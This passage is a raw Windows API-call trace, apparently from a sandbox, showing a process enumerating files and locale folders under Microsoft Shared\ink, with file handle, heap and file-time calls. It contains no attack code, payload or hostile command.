hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.225] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0232.226] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0232.226] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0232.226] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0232.226] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0232.226] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0232.226] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0232.226] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0232.226] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0232.226] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.226] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0232.226] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.227] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0232.227] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.227] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0232.227] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.227] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0232.227] GetLastError () returned 0x12 [0232.227] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0232.227] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0232.227] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0232.227] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0232.287] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0232.287] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x900118, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x900118, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0232.294] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x900118) returned 1 [0232.294] NtClose (Handle=0x1b0) returned 0x0 [0232.296] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.296] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0232.297] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.297] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.297] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0232.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0232.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0232.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0232.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0232.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0232.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0232.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff888 [0232.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe830 [0232.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0232.326] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0232.326] GetLastError () returned 0x12 [0232.326] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0232.328] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.328] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.328] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0232.328] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", 